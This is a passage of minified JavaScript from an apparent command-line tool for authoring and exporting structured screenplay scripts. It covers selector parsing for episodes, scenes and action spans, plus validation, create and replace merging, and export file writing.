- `,targetCount:i}}function pe(e,t,n,o,i=b){throw new S(t,{exitCode:i,errorCode:e,hint:o,data:{actual:n}})}function F_(e){let t=me(e),n;try{n=JSON.parse(Qu.readFileSync(t,"utf-8"))}catch(o){pe("SCRIPT_JSON_UNAVAILABLE","The local script cannot be read as JSON.",[t,o instanceof Error?o.message:String(o)],"Provide a readable local Script v3 file.")}return js(n)}function Cr(e){return e||pe("AUTHORING_SELECTOR_REQUIRED","This export kind requires --in.",["<missing>"],"Pass one or more comma-separated point or from..through regions.",B),e.split(",").map(t=>{let n=t.trim();n||pe("AUTHORING_SELECTOR_INVALID","Selector contains an empty region.",[e],"Remove empty comma-separated regions.",B);let o=n.indexOf("..");if(o<0)return{from:n,through:n};n.indexOf("..",o+2)>=0&&pe("AUTHORING_SELECTOR_INVALID","Selector region has more than one range delimiter.",[n],"Use point or from..through.",B);let i=n.slice(0,o),r=n.slice(o+2);return(!i||!r)&&pe("AUTHORING_SELECTOR_INVALID","Selector range endpoint is empty.",[n],"Provide both endpoints.",B),{from:i,through:r}})}function Fs(e,t,n){if(t.from==="*"&&t.through==="*")return e.length===0&&pe("AUTHORING_SELECTOR_EMPTY",`The script contains no ${n}.`,["*"],"Choose a non-empty target kind."),[0,e.length-1];(e.filter(r=>r===t.from).length>1||e.filter(r=>r===t.through).length>1)&&pe("AUTHORING_SELECTOR_AMBIGUOUS",`${n} selector endpoint is not unique.`,[t.from,t.through],"Repair duplicate stable IDs before exporting this target.");let o=e.indexOf(t.from),i=e.indexOf(t.through);return(o<0||i<0)&&pe("AUTHORING_SELECTOR_NOT_FOUND",`${n} selector endpoint was not found.`,[t.from,t.through],"Use IDs from the current local script."),o>i&&pe("AUTHORING_SELECTOR_REVERSED",`${n} selector is reversed in current document order.`,[t.from,t.through],"Put the earlier document endpoint first."),[o,i]}function Yu(e,t){let n=new Set;for(let o of e){let i=t(o);n.has(i)&&pe("AUTHORING_SELECTOR_OVERLAP","Selector regions overlap or repeat a target.",[i],"Use non-overlapping regions."),n.add(i)}return e}function Tr(e,t){for(let n=1;n<e.length;n+=1){let o=e[n-1],i=e[n],r=Math.max(o.length,i.length),s=0;for(let c=0;c<r&&(s=(i[c]??0)-(o[c]??0),s===0);c+=1);s<=0&&pe("AUTHORING_SELECTOR_ORDER",`${t} selector regions are not in current document order.`,[`region=${n+1}`],"List disjoint selector regions from earlier to later document positions.")}}function Y_(e,t){let n=[],o=e.episodes.map(r=>r.episode_id);for(let r of Cr(t)){let[s,c]=Fs(o,r,"episode");n.push(...e.episodes.slice(s,c+1))}Yu(n,r=>r.episode_id),Tr(n.map(r=>[o.indexOf(r.episode_id)]),"Episode");let i=n.map(r=>({kind:"episode",value:structuredClone(r),source:Zt}));return Bi("episode",i)}function q_(e,t){let n=e.episodes.map(s=>s.episode_id),o=[],i=new Set,r=[];for(let s of Cr(t)){let[c,a]=Fs(n,s,"episode");for(let d=c;d<=a;d+=1)i.has(d)&&pe("AUTHORING_SELECTOR_OVERLAP","Episode span regions overlap.",[`${s.from}..${s.through}`],"Use non-overlapping regions."),i.add(d);o.push({kind:"episode-span",from:n[c],through:n[a],episodes:structuredClone(e.episodes.slice(c,a+1)),source:Zt}),r.push([c])}return Tr(r,"Episode span"),Bi("episode-span",o)}function Z_(e){return e.episodes.flatMap(t=>t.scenes.map(n=>({episodeId:t.episode_id,scene:n})))}function id(e){return`${e.episodeId}/${e.scene.scene_id}`}function W_(e,t){let n=Z_(e),o=n.map(id),i=[];for(let s of Cr(t)){let[c,a]=Fs(o,s,"scene");i.push(...n.slice(c,a+1))}Yu(i,id),Tr(i.map(s=>[o.indexOf(id(s))]),"Scene");let r=i.map(s=>({kind:"scene",parent:s.episodeId,value:structuredClone(s.scene),source:Zt}));return Bi("scene",r)}function rd(e){let t=/^([^/#]+)\/([^/#]+)$/.exec(e);return t||pe("AUTHORING_SELECTOR_INVALID","Scene selector endpoint must be ep/scn.",[e],"Use ep_ID/scn_ID."),{episodeId:t[1],sceneId:t[2]}}function X_(e,t){let n=[],o=new Set,i=[];for(let r of Cr(t)){(r.from==="*"||r.through==="*")&&pe("AUTHORING_SELECTOR_INVALID","A scene span wildcard has no single parent.",["*"],"Use one explicit region per episode.");let s=rd(r.from),c=rd(r.through);s.episodeId!==c.episodeId&&pe("AUTHORING_SELECTOR_CROSS_PARENT","A scene span must remain inside one episode.",[r.from,r.through],"Split it into one region per episode.");let a=e.episodes.filter(u=>u.episode_id===s.episodeId);a.length===0&&pe("AUTHORING_SELECTOR_NOT_FOUND","Scene span parent episode was not found.",[s.episodeId],"Use an existing episode ID."),a.length>1&&pe("AUTHORING_SELECTOR_AMBIGUOUS","Scene span parent episode is not unique.",[s.episodeId],"Repair duplicate stable IDs before exporting.");let d=a[0],p=d.scenes.map(u=>u.scene_id),[l,f]=Fs(p,{from:s.sceneId,through:c.sceneId},"scene");for(let u=l;u<=f;u+=1){let y=`${d.episode_id}/${p[u]}`;o.has(y)&&pe("AUTHORING_SELECTOR_OVERLAP","Scene span regions overlap.",[y],"Use non-overlapping regions."),o.add(y)}n.push({kind:"scene-span",parent:d.episode_id,from:p[l],through:p[f],scenes:structuredClone(d.scenes.slice(l,f+1)),source:Zt}),i.push([e.episodes.indexOf(d),l])}return Tr(i,"Scene span"),Bi("scene-span",n)}function Hu(e){let t=/^([^/#]+\/[^/#]+)#(\d+)$/.exec(e);t||pe("AUTHORING_SELECTOR_INVALID","Action selector endpoint must be ep/scn#index.",[e],"Use a zero-based ep_ID/scn_ID#index address.");let n=Number(t[2]);return Number.isSafeInteger(n)||pe("AUTHORING_SELECTOR_INVALID","Action index is outside the safe integer range.",[e],"Use a zero-based safe integer index."),{parent:t[1],index:n}}function eE(e,t){let n=[],o=new Set,i=[];for(let r of Cr(t)){(r.from==="*"||r.through==="*")&&pe("AUTHORING_SELECTOR_INVALID","An action span wildcard has no single parent.",["*"],"Use one explicit region per scene.");let s=Hu(r.from),c=Hu(r.through);s.parent!==c.parent&&pe("AUTHORING_SELECTOR_CROSS_PARENT","An action span must remain inside one scene.",[r.from,r.through],"Split it into one region per scene.");let a=rd(s.parent),d=e.episodes.filter(u=>u.episode_id===a.episodeId);d.length===0&&pe("AUTHORING_SELECTOR_NOT_FOUND","Action span parent episode was not found.",[a.episodeId],"Use an existing episode ID."),d.length>1&&pe("AUTHORING_SELECTOR_AMBIGUOUS","Action span parent episode is not unique.",[a.episodeId],"Repair duplicate stable IDs before exporting.");let p=d[0],l=p.scenes.filter(u=>u.scene_id===a.sceneId);l.length===0&&pe("AUTHORING_SELECTOR_NOT_FOUND","Action span parent scene was not found.",[s.parent],"Use an existing scene address."),l.length>1&&pe("AUTHORING_SELECTOR_AMBIGUOUS","Action span parent scene is not unique.",[s.parent],"Repair duplicate stable IDs before exporting.");let f=l[0];s.index>c.index&&pe("AUTHORING_SELECTOR_REVERSED","Action span is reversed.",[r.from,r.through],"Put the lower current action index first."),c.index>=f.actions.length&&pe("AUTHORING_SELECTOR_NOT_FOUND","Action span endpoint is outside the current body.",[r.through,`actions=${f.actions.length}`],"Use current zero-based action indices.");for(let u=s.index;u<=c.index;u+=1){let y=`${s.parent}#${u}`;o.has(y)&&pe("AUTHORING_SELECTOR_OVERLAP","Action span regions overlap.",[y],"Use non-overlapping regions."),o.add(y)}n.push({kind:"action-span",parent:s.parent,from:s.index,through:c.index,actions:structuredClone(f.actions.slice(s.index,c.index+1)),source:Zt}),i.push([e.episodes.indexOf(p),p.scenes.indexOf(f),s.index])}return Tr(i,"Action span"),Bi("action-span",n)}function qu(e,t){let n=v(t.output).trim();n||pe("AUTHORING_OUTPUT_REQUIRED","Export requires --output.",["<missing>"],"Pass a destination .scriptctl file.",B);let o=F_(t),i=v(t.in).trim(),r=Fu.resolve(n);if(o.version===4){let p=zu(_n(o),e,i);return Gs(r,p.content),[{text:`Exported ${p.targetCount} ${e} target(s) to ${r}`,data:{op:`export.${e}`,output:r,target_kind:e==="episodes"?"episode":e==="episode-spans"?"episode-span":e==="scenes"?"scene":e==="scene-spans"?"scene-span":e==="action-spans"?"action-span":"script",target_count:p.targetCount,bytes:Buffer.byteLength(p.content),script_version:4}},G]}let s=Tt(o),c;e==="script"?c=$u(s):e==="episodes"?c=Y_(s,i):e==="episode-spans"?c=q_(s,i):e==="scenes"?c=W_(s,i):e==="scene-spans"?c=X_(s,i):c=eE(s,i);let a=Gu(c);return Gs(r,a),[{text:`Exported ${c.targets.length} ${e} target(s) to ${r}`,data:{op:`export.${e}`,output:r,target_kind:c.targetKind,target_count:c.targets.length,bytes:Buffer.byteLength(a),script_version:3}},G]}import*as Ad from"node:crypto";import*as Gr from"node:fs";import*as Af from"node:path";function F(e,t,n,o,i=b){throw new S(t,{exitCode:i,errorCode:e,hint:o[0],data:{actual:n}})}function le(e){return`line ${e.line}, column ${e.column}`}function Ys(e){if(Array.isArray(e))return e.map(Ys);if(e!==null&&typeof e=="object"){let t={};for(let[n,o]of Object.entries(e).sort(([i],[r])=>i.localeCompare(r)))t[n]=Ys(o);return t}return e}function So(e,t){return JSON.stringify(Ys(e))===JSON.stringify(Ys(t))}function Vr(e,t){return"actor_id"in t?t.actor_id:"location_id"in t?t.location_id:t.prop_id}function tE(e,t){return"actor_name"in t?t.actor_name:"location_name"in t?t.location_name:t.prop_name}function nE(e,t){return t==="actor"?e.actors:t==="location"?e.locations:e.props}function oE(e,t){"actor_id"in t.value?e.actors.push(t.value):"location_id"in t.value?e.locations.push(t.value):e.props.push(t.value)}function of(e,t,n){return nE(e,t).find(o=>Vr(t,o)===n)}function iE(e,t){for(let n of["actor","location","prop"]){let o=of(e,n,t);if(o!==void 0)return{kind:n,value:o}}}function rE(e){let t=[],n=[],o={actor:0,location:1,prop:2},i=-1,r,s=!1,c=new Set;for(let a of e){if(a.declarationKind!=="state"){s&&F("AUTHORING_DECLARATION_ORDER","Asset declarations must precede standalone state declarations.",[le(a.source)],["Move standalone states to the end of <create>."]);let p=a.declarationKind;o[p]<i&&F("AUTHORING_DECLARATION_ORDER","Asset declaration groups are out of canonical order.",[le(a.source),p],["Order asset declarations as actor, location, then prop."]),i=o[p];let l=structuredClone(a.value);l.states=[];let f={kind:p,value:l,source:a.source},u=`${p}:${Vr(p,l)}`;c.has(u)&&F("AUTHORING_DECLARATION_DUPLICATE","Asset declaration is duplicated.",[le(a.source),u],["Keep one declaration per asset."]),c.add(u),t.push(f),r=f;continue}let d=`${a.ownerKind}:${a.ownerId}`;if(r!==void 0&&r.kind===a.ownerKind&&Vr(r.kind,r.value)===a.ownerId){r.value.states.push(structuredClone(a.value));continue}s=!0,r=void 0,n.push({kind:a.ownerKind,ownerId:a.ownerId,value:structuredClone(a.value),source:a.source})}for(let a of t){let d=Vr(a.kind,a.value);(a.value.states.length===0||a.value.states[0].state_id!=="default")&&F("AUTHORING_DEFAULT_STATE_REQUIRED","Every declared asset must be immediately followed by its states, beginning with default.",[le(a.source),`${a.kind}:${d}`],[`Add [state|${a.kind}:${d}|default|...] directly after the asset declaration.`]),a.value.states.filter(l=>l.state_id==="default").length!==1&&F("AUTHORING_DEFAULT_STATE_DUPLICATE","Every declared asset must contain exactly one default state.",[le(a.source),`${a.kind}:${d}`],["Keep exactly one default state."]);let p=a.value.aliases??[];(new Set(p).size!==p.length||p.includes(tE(a.kind,a.value)))&&F("AUTHORING_ALIAS_INVALID","Asset aliases must be unique and must differ from the canonical name.",[le(a.source),`${a.kind}:${d}`],["Remove duplicate aliases and the canonical name from aliases."])}return{assets:t,states:n}}function sE(){return{createdAssets:[],existingAssets:[],createdStates:[],existingStates:[]}}function rf(e,t){let n=rE(t),o=sE();for(let i of n.assets){let r=Vr(i.kind,i.value),s=`${i.kind}:${r}`,c=iE(e,r);if(c!==void 0){if(c.kind===i.kind&&So(c.value,i.value)){o.existingAssets.push(s),o.existingStates.push(...i.value.states.map(a=>`${s}/${a.state_id}`));continue}F("AUTHORING_ASSET_CONFLICT","Create-only asset declaration conflicts with an existing asset.",[le(i.source),`${i.kind}:${r}`],["Use the existing identical definition or change it with an explicit mutation verb."])}oE(e,i),o.createdAssets.push(s),o.createdStates.push(...i.value.states.map(a=>`${s}/${a.state_id}`))}for(let i of n.states){let r=of(e,i.kind,i.ownerId);r===void 0&&F("AUTHORING_STATE_OWNER_NOT_FOUND","Standalone state owner does not exist.",[le(i.source),`${i.kind}:${i.ownerId}`],["Declare the asset before its states or use an existing asset ID."]);let s=r.states.find(a=>a.state_id===i.value.state_id);s!==void 0&&!So(s,i.value)&&F("AUTHORING_STATE_CONFLICT","Create-only state declaration conflicts with an existing state on the same asset.",[le(i.source),`${i.kind}:${i.ownerId}/${i.value.state_id}`],["Use an unused state ID for this asset, or reuse the identical existing state."]);let c=`${i.kind}:${i.ownerId}/${i.value.state_id}`;s===void 0?(r.states.push(i.value),o.createdStates.push(c)):o.existingStates.push(c)}return o}function Zu(e){return{episodes:0,scenes:e===void 0?0:1,actions:e?.actions.length??0}}function Wu(e){return{episodes:e===void 0?0:1,scenes:e?.scenes.length??0,actions:e?.scenes.reduce((t,n)=>t+n.actions.length,0)??0}}function qs(e){return e.reduce((t,n)=>({episodes:t.episodes+1,scenes:t.scenes+n.scenes.length,actions:t.actions+n.scenes.reduce((o,i)=>o+i.actions.length,0)}),{episodes:0,scenes:0,actions:0})}function Xu(e){return{episodes:0,scenes:e.length,actions:e.reduce((t,n)=>t+n.actions.length,0)}}function $r(e,t){let n=new Set(e),o=new Set(t);return{retainedIds:t.filter(i=>n.has(i)),createdIds:t.filter(i=>!n.has(i)),removedIds:e.filter(i=>!o.has(i))}}function sd(e,t){let n=[];e.location!==null&&!e.location.state_id&&n.push(`location:${e.location.location_id}`);for(let o of e.actors)o.state_id||n.push(`actor:${o.actor_id}`);for(let o of e.props)o.state_id||n.push(`prop:${o.prop_id}`);n.length>0&&F("AUTHORING_SCENE_REF_UNMATERIALIZED","Every scene asset reference in an authored block must bind a state.",[le(t),...n],["Add the concrete state ID to every location, cast, and prop record."])}function ad(e,t){for(let n of e.scenes)sd(n,t)}function ti(e,t){return e.episodes.findIndex(n=>n.episode_id===t)}function Zs(e,t){return e.scenes.findIndex(n=>n.scene_id===t)}function sf(e,t,n){let o=ti(e,t);o<0&&F("AUTHORING_EPISODE_NOT_FOUND","Episode target does not exist.",[t],["Inspect episodes and use an existing parent."]);let i=Zs(e.episodes[o],n);return i<0&&F("AUTHORING_SCENE_NOT_FOUND","Scene target does not exist.",[`${t}/${n}`],["Inspect scenes and use an existing target."]),[o,i]}function aE(e,t){let n=Math.max(e.length,t.length);for(let o=0;o<n;o+=1){let i=(e[o]??0)-(t[o]??0);if(i!==0)return i}return 0}function Dr(e,t){for(let n=1;n<e.length;n+=1)aE(e[n-1].coord,e[n].coord)>=0&&F("AUTHORING_TARGET_ORDER",t,[le(e[n].source)],["List replace targets in current document order without duplicates."],B)}function cE(e,t,n,o){let i=[];if(o==="replace"){let r=n.map(s=>{let c=ti(e,s.value.episode_id);return c<0&&F("AUTHORING_EPISODE_NOT_FOUND","Episode replace target does not exist.",[le(s.source),s.value.episode_id],["Use --create for a new episode or choose an existing ID."]),{coord:[c],source:s.source}});Dr(r,"Episode replace targets are not in document order.")}for(let r of n){ad(r.value,r.source);let s=ti(e,r.value.episode_id),c=s<0?void 0:e.episodes[s];o==="create"?c!==void 0?So(c,r.value)||F("AUTHORING_CREATE_CONFLICT","Episode create target already exists with different content.",[le(r.source),r.value.episode_id],["Use --replace to replace it, or make the create block identical for a no-op retry."]):t.episodes.push(structuredClone(r.value)):t.episodes[s]=structuredClone(r.value),i.push({kind:"episode",address:r.value.episode_id,before:Wu(c),after:Wu(r.value),...$r(c?.scenes.map(a=>a.scene_id)??[],r.value.scenes.map(a=>a.scene_id)),untouchedSiblings:Math.max(0,e.episodes.length-(c===void 0?0:1))})}return i}function dE(e,t,n,o){let i=[];if(o==="replace"){let r=n.map(s=>({coord:sf(e,s.parent,s.value.scene_id),source:s.source}));Dr(r,"Scene replace targets are not in document order.")}for(let r of n){sd(r.value,r.source);let s=ti(e,r.parent);s<0&&F("AUTHORING_EPISODE_NOT_FOUND","Scene parent episode does not exist.",[le(r.source),r.parent],["Use an existing episode parent."]);let c=e.episodes[s],a=t.episodes[s],d=Zs(c,r.value.scene_id),p=d<0?void 0:c.scenes[d];o==="create"?p!==void 0?So(p,r.value)||F("AUTHORING_CREATE_CONFLICT","Scene create target already exists with different content.",[le(r.source),`${r.parent}/${r.value.scene_id}`],["Use --replace or make the create block identical for a no-op retry."]):a.scenes.push(structuredClone(r.value)):(d<0&&F("AUTHORING_SCENE_NOT_FOUND","Scene replace target does not exist.",[le(r.source),`${r.parent}/${r.value.scene_id}`],["Use --create for a new scene or choose an existing scene."]),a.scenes[d]=structuredClone(r.value)),i.push({kind:"scene",address:`${r.parent}/${r.value.scene_id}`,before:Zu(p),after:Zu(r.value),...$r(p===void 0?[]:[p.scene_id],[r.value.scene_id]),untouchedSiblings:Math.max(0,c.scenes.length-(p===void 0?0:1))})}return i}function pE(e,t,n){let o=n.map(r=>{let s=ti(e,r.from),c=ti(e,r.through);(s<0||c<0)&&F("AUTHORING_SPAN_ENDPOINT_NOT_FOUND","Episode-span endpoint does not exist.",[le(r.source),`${r.from}..${r.through}`],["Use existing episode IDs as span endpoints."]),s>c&&F("AUTHORING_SPAN_REVERSED","Episode-span endpoints are reversed in current document order.",[le(r.source),`${r.from}..${r.through}`],["Swap from and through."]),r.episodes.length===0&&F("AUTHORING_EMPTY_SPAN","Episode-span replacement cannot be empty.",[le(r.source)],["Include at least one complete episode."]);for(let a of r.episodes)ad(a,r.source);return{target:r,from:s,through:c}});Dr(o.map(r=>({coord:[r.from],source:r.target.source})),"Episode spans are not in document order.");for(let r=1;r<o.length;r+=1)o[r].from<=o[r-1].through&&F("AUTHORING_SPAN_OVERLAP","Episode spans overlap.",[le(o[r].target.source)],["Use disjoint episode spans."]);let i=o.map(({target:r,from:s,through:c})=>{let a=e.episodes.slice(s,c+1);return{kind:"episode-span",address:`${r.from}..${r.through}`,before:qs(a),after:qs(r.episodes),...$r(a.map(d=>d.episode_id),r.episodes.map(d=>d.episode_id)),untouchedSiblings:e.episodes.length-a.length}});for(let{target:r,from:s,through:c}of[...o].reverse())t.episodes.splice(s,c-s+1,...structuredClone(r.episodes));return i}function lE(e,t,n){let o=n.map(s=>{let c=ti(e,s.parent);c<0&&F("AUTHORING_EPISODE_NOT_FOUND","Scene-span parent does not exist.",[le(s.source),s.parent],["Use an existing parent episode."]);let a=e.episodes[c],d=Zs(a,s.from),p=Zs(a,s.through);(d<0||p<0)&&F("AUTHORING_SPAN_ENDPOINT_NOT_FOUND","Scene-span endpoint does not exist in its parent.",[le(s.source),`${s.parent}:${s.from}..${s.through}`],["Use scene IDs from the same existing episode."]),d>p&&F("AUTHORING_SPAN_REVERSED","Scene-span endpoints are reversed in current document order.",[le(s.source),`${s.from}..${s.through}`],["Swap from and through."]),s.scenes.length===0&&F("AUTHORING_EMPTY_SPAN","Scene-span replacement cannot be empty.",[le(s.source)],["Include at least one complete scene."]);for(let l of s.scenes)sd(l,s.source);return{target:s,epIndex:c,from:d,through:p}});Dr(o.map(s=>({coord:[s.epIndex,s.from],source:s.target.source})),"Scene spans are not in document order.");for(let s=1;s<o.length;s+=1){let c=o[s-1],a=o[s];a.epIndex===c.epIndex&&a.from<=c.through&&F("AUTHORING_SPAN_OVERLAP","Scene spans overlap.",[le(a.target.source)],["Use disjoint scene spans."])}let i=o.map(({target:s,epIndex:c,from:a,through:d})=>{let p=e.episodes[c].scenes.slice(a,d+1);return{kind:"scene-span",address:`${s.parent}/${s.from}..${s.parent}/${s.through}`,before:Xu(p),after:Xu(s.scenes),...$r(p.map(l=>l.scene_id),s.scenes.map(l=>l.scene_id)),untouchedSiblings:e.episodes[c].scenes.length-p.length}}),r=new Map;for(let s of o)r.set(s.epIndex,[...r.get(s.epIndex)??[],s]);for(let[s,c]of r)for(let{target:a,from:d,through:p}of[...c].reverse())t.episodes[s].scenes.splice(d,p-d+1,...structuredClone(a.scenes));return i}function uE(e,t,n){let o=n.map(s=>{let c=s.parent.indexOf("/");(c<1||c===s.parent.length-1)&&F("AUTHORING_SCENE_ADDRESS_INVALID","Action-span parent is not a complete scene address.",[le(s.source),s.parent],["Use parent=ep_ID/scn_ID."]);let a=s.parent.slice(0,c),d=s.parent.slice(c+1),[p,l]=sf(e,a,d),f=e.episodes[p].scenes[l];return s.from>s.through&&F("AUTHORING_SPAN_REVERSED","Action-span endpoints are reversed.",[le(s.source),`${s.from}..${s.through}`],["Swap from and through."]),s.through>=f.actions.length&&F("AUTHORING_SPAN_ENDPOINT_NOT_FOUND","Action-span endpoint is outside the current scene body.",[le(s.source),`${s.from}..${s.through}`,`actions=${f.actions.length}`],["Use zero-based endpoints within the current body."]),s.actions.length===0&&F("AUTHORING_EMPTY_SPAN","Action-span replacement cannot be empty.",[le(s.source)],["Include at least one action."]),{target:s,epIndex:p,scIndex:l,scene:f,from:s.from,through:s.through}});Dr(o.map(s=>({coord:[s.epIndex,s.scIndex,s.from],source:s.target.source})),"Action spans are not in document order.");for(let s=1;s<o.length;s+=1){let c=o[s-1],a=o[s];a.epIndex===c.epIndex&&a.scIndex===c.scIndex&&a.from<=c.through&&F("AUTHORING_SPAN_OVERLAP","Action spans overlap.",[le(a.target.source)],["Use disjoint action spans."])}let i=o.map(({target:s,scene:c,from:a,through:d})=>({kind:"action-span",address:`${s.parent}#${a}..${s.parent}#${d}`,before:{episodes:0,scenes:0,actions:d-a+1},after:{episodes:0,scenes:0,actions:s.actions.length},retainedIds:[],createdIds:[],removedIds:[],untouchedSiblings:c.actions.length-(d-a+1)})),r=new Map;for(let s of o){let c=`${s.epIndex}/${s.scIndex}`;r.set(c,[...r.get(c)??[],s])}for(let s of r.values())for(let{target:c,epIndex:a,scIndex:d,from:p,through:l}of[...s].reverse())t.episodes[a].scenes[d].actions.splice(p,l-p+1,...structuredClone(c.actions));return i}function af(e){let t=new Set,n=new Set;for(let o of e.episodes){t.has(o.episode_id)&&F("AUTHORING_EPISODE_ID_CONFLICT","Episode ID occurs more than once.",[o.episode_id],["Use globally unique episode IDs."]),t.add(o.episode_id);for(let i of o.scenes)n.has(i.scene_id)&&F("AUTHORING_SCENE_ID_CONFLICT","Scene ID occurs more than once.",[i.scene_id],["Use globally unique stable scene IDs."]),n.add(i.scene_id)}}function fE(e,t){let n=/^\$\.episodes\[(\d+)]/.exec(e);if(n===null)return e;let o=t.episodes[Number(n[1])];if(o===void 0)return e;let i=e.replace(n[0],`$.episodes[${o.episode_id}]`),r=/^(\$\.episodes\[\d+]\.scenes)\[(\d+)]/.exec(e);if(r!==null){let s=o.scenes[Number(r[2])];if(s!==void 0){let c=`${n[0]}.scenes[${r[2]}]`;i=e.replace(c,`$.episodes[${o.episode_id}].scenes[${s.scene_id}]`)}}return i}function ef(e,t){return`${e.code}\0${fE(e.path,t)}\0${e.message}`}function mE(e){let t={episodeIds:new Set,sceneIds:new Set,fullEpisodeIds:new Set,fullSceneIds:new Set,actionSpans:[]},n=i=>{t.sceneIds.add(i.scene_id),t.fullSceneIds.add(i.scene_id)},o=i=>{t.episodeIds.add(i.episode_id),t.fullEpisodeIds.add(i.episode_id);for(let r of i.scenes)n(r)};for(let i of e)if(i.kind==="script")for(let r of i.episodes)o(r);else if(i.kind==="episode")o(i.value);else if(i.kind==="episode-span")for(let r of i.episodes)o(r);else if(i.kind==="scene")n(i.value);else if(i.kind==="scene-span")for(let r of i.scenes)n(r);else t.sceneIds.add(i.parent.split("/")[1]??""),t.actionSpans.push(i);return t}function gE(e,t,n){let o=[],i=new Map(e?.episodes.map(a=>[a.episode_id,a])??[]),r=new Map;for(let a of e?.episodes??[])for(let d of a.scenes)r.set(d.scene_id,d);let s=new Map(t.episodes.map(a=>[a.episode_id,a])),c=new Map;for(let a of t.episodes)for(let d of a.scenes)c.set(d.scene_id,{episodeId:a.episode_id,scene:d});for(let a of n.fullEpisodeIds){let d=s.get(a);if(d===void 0||d.scenes.length>0)continue;let p=(i.get(a)?.scenes.length??0)>0;o.push({code:p?"authoring_episode_cleared":"authoring_empty_episode",path:`$.episodes[${a}]`,message:p?`authoring replaced episode ${a} with an empty scene list`:`authored episode ${a} has no scenes`})}for(let a of n.fullSceneIds){let d=c.get(a);if(d===void 0)continue;let p=`$.episodes[${d.episodeId}].scenes[${a}]`;if(d.scene.actions.length===0){let l=(r.get(a)?.actions.length??0)>0;o.push({code:l?"authoring_scene_cleared":"authoring_empty_scene",path:p,message:l?`authoring replaced scene ${a} with an empty body`:`authored scene ${a} has an empty body`})}d.scene.actions.forEach((l,f)=>{l.content.trim()===""&&o.push({code:"authoring_empty_action_content",path:`${p}.actions[${f}]`,message:"authored action content is empty"})})}for(let a of n.actionSpans)a.actions.forEach((d,p)=>{d.content.trim()===""&&o.push({code:"authoring_empty_action_content",path:`${a.parent}#replacement[${p}]`,message:"authored action-span replacement contains an action with empty content"})});return o}function tf(e,t,n){let o=wt(t),i=mE(n),r=()=>({...o,warnings:[...o.warnings,...gE(e,t,i)]});if(o.ok||e!==null&&So(e,t))return r();let s=new Set(e===null?[]:wt(e).errors.map(a=>ef(a,e))),c=o.errors.filter(a=>{if(!s.has(ef(a,t)))return!0;let d=/^\$\.episodes\[(\d+)]/.exec(a.path);if(!d)return!1;let p=t.episodes[Number(d[1])];if(p===void 0||i.episodeIds.has(p.episode_id))return!0;let l=/^\$\.episodes\[\d+]\.scenes\[(\d+)]/.exec(a.path),f=l===null?void 0:p.scenes[Number(l[1])];return f!==void 0&&i.sceneIds.has(f.scene_id)});return c.length>0&&F("AUTHORING_VALIDATION_FAILED","The proposed script has blocking validation errors.",c.map(a=>`${a.path}: ${a.code} ${a.message}`),["Repair the authoring source and rerun the plan."]),r()}function nf(e){let t=new Set;for(let n of e.episodes)for(let o of n.scenes){o.location!==null&&t.add(o.location.location_id);for(let i of o.actors)t.add(i.actor_id);for(let i of o.props)t.add(i.prop_id)}return[...e.actors.map(n=>n.actor_id),...e.locations.map(n=>n.location_id),...e.props.map(n=>n.prop_id)].filter(n=>!t.has(n))}function hE(e){let t=e.targets[0];t?.kind!=="script"&&F("AUTHORING_TARGET_MODE","Script create requires exactly one script target.",[],["Use a single <script> block."],B);for(let i of t.episodes)ad(i,t.source);let n={version:3,title:t.title,worldview:t.worldview,style:t.style,actors:[],locations:[],props:[],episodes:structuredClone(t.episodes)};t.worldviewRaw!==void 0&&(n.worldview_raw=t.worldviewRaw),t.synopsis!==void 0&&(n.synopsis=t.synopsis),t.logline!==void 0&&(n.logline=t.logline),t.theme!==void 0&&(n.theme=t.theme),t.mainCharacters!==void 0&&(n.main_characters=structuredClone(t.mainCharacters)),t.extend!==void 0&&(n.extend=structuredClone(t.extend));let o=rf(n,e.declarations);return af(n),{script:n,declarations:o}}function cf(e,t,n){if(t.targetKind==="script"){n!=="create"&&F("AUTHORING_TARGET_MODE","Script targets support create only.",[n],["Use --create."],B);let a=hE(t),d=a.script;e!==null&&!So(e,d)&&F("AUTHORING_CREATE_CONFLICT","The script target already exists with different content.",["script"],["Use episode replacement for an existing script, or write an identical script for a no-op retry."]);let p=e===null?a.declarations:{createdAssets:[],existingAssets:[...a.declarations.existingAssets,...a.declarations.createdAssets],createdStates:[],existingStates:[...a.declarations.existingStates,...a.declarations.createdStates]},l=tf(e,d,t.targets);return{script:d,changed:e===null||!So(e,d),declarations:p,targets:[{kind:"script",address:"global",before:e===null?{episodes:0,scenes:0,actions:0}:qs(e.episodes),after:qs(d.episodes),...$r(e?.episodes.map(f=>f.episode_id)??[],d.episodes.map(f=>f.episode_id)),untouchedSiblings:0}],retainedOrphanAssets:nf(d),validation:l}}e===null&&F("AUTHORING_SCRIPT_NOT_FOUND","A local Script v3 file is required for this target kind.",["<missing>"],["Create a script first or select an existing --script-path."]),(t.targetKind==="episode-span"||t.targetKind==="scene-span"||t.targetKind==="action-span")&&n!=="replace"&&F("AUTHORING_TARGET_MODE",`${t.targetKind} supports replace only.`,[n],["Use --replace."],B);let o=structuredClone(e),i=structuredClone(e),r=rf(i,t.declarations),s;switch(t.targetKind){case"episode":{let a=t.targets.flatMap(d=>d.kind==="episode"?[d]:[]);a.length!==t.targets.length&&F("AUTHORING_TARGET_MODE","Authoring targets are not homogeneous.",[],["Keep one target kind per file."],B),s=cE(o,i,a,n);break}case"scene":{let a=t.targets.flatMap(d=>d.kind==="scene"?[d]:[]);a.length!==t.targets.length&&F("AUTHORING_TARGET_MODE","Authoring targets are not homogeneous.",[],["Keep one target kind per file."],B),s=dE(o,i,a,n);break}case"episode-span":{let a=t.targets.flatMap(d=>d.kind==="episode-span"?[d]:[]);a.length!==t.targets.length&&F("AUTHORING_TARGET_MODE","Authoring targets are not homogeneous.",[],["Keep one target kind per file."],B),s=pE(o,i,a);break}case"scene-span":{let a=t.targets.flatMap(d=>d.kind==="scene-span"?[d]:[]);a.length!==t.targets.length&&F("AUTHORING_TARGET_MODE","Authoring targets are not homogeneous.",[],["Keep one target kind per file."],B),s=lE(o,i,a);break}case"action-span":{let a=t.targets.flatMap(d=>d.kind==="action-span"?[d]:[]);a.length!==t.targets.length&&F("AUTHORING_TARGET_MODE","Authoring targets are not homogeneous.",[],["Keep one target kind per file."],B),s=uE(o,i,a);break}default:F("AUTHORING_TARGET_MODE","Unsupported authoring target.",[t.targetKind],["Use a supported homogeneous target kind."])}af(i);let c=tf(e,i,t.targets);return{script:i,changed:!So(e,i),declarations:r,targets:s,retainedOrphanAssets:nf(i),validation:c}}function $(e,t,n,o){return new S(e,{exitCode:b,errorCode:"AUTHORING_SOURCE_INVALID",hint:o,data:{actual:[`line ${t.line}, 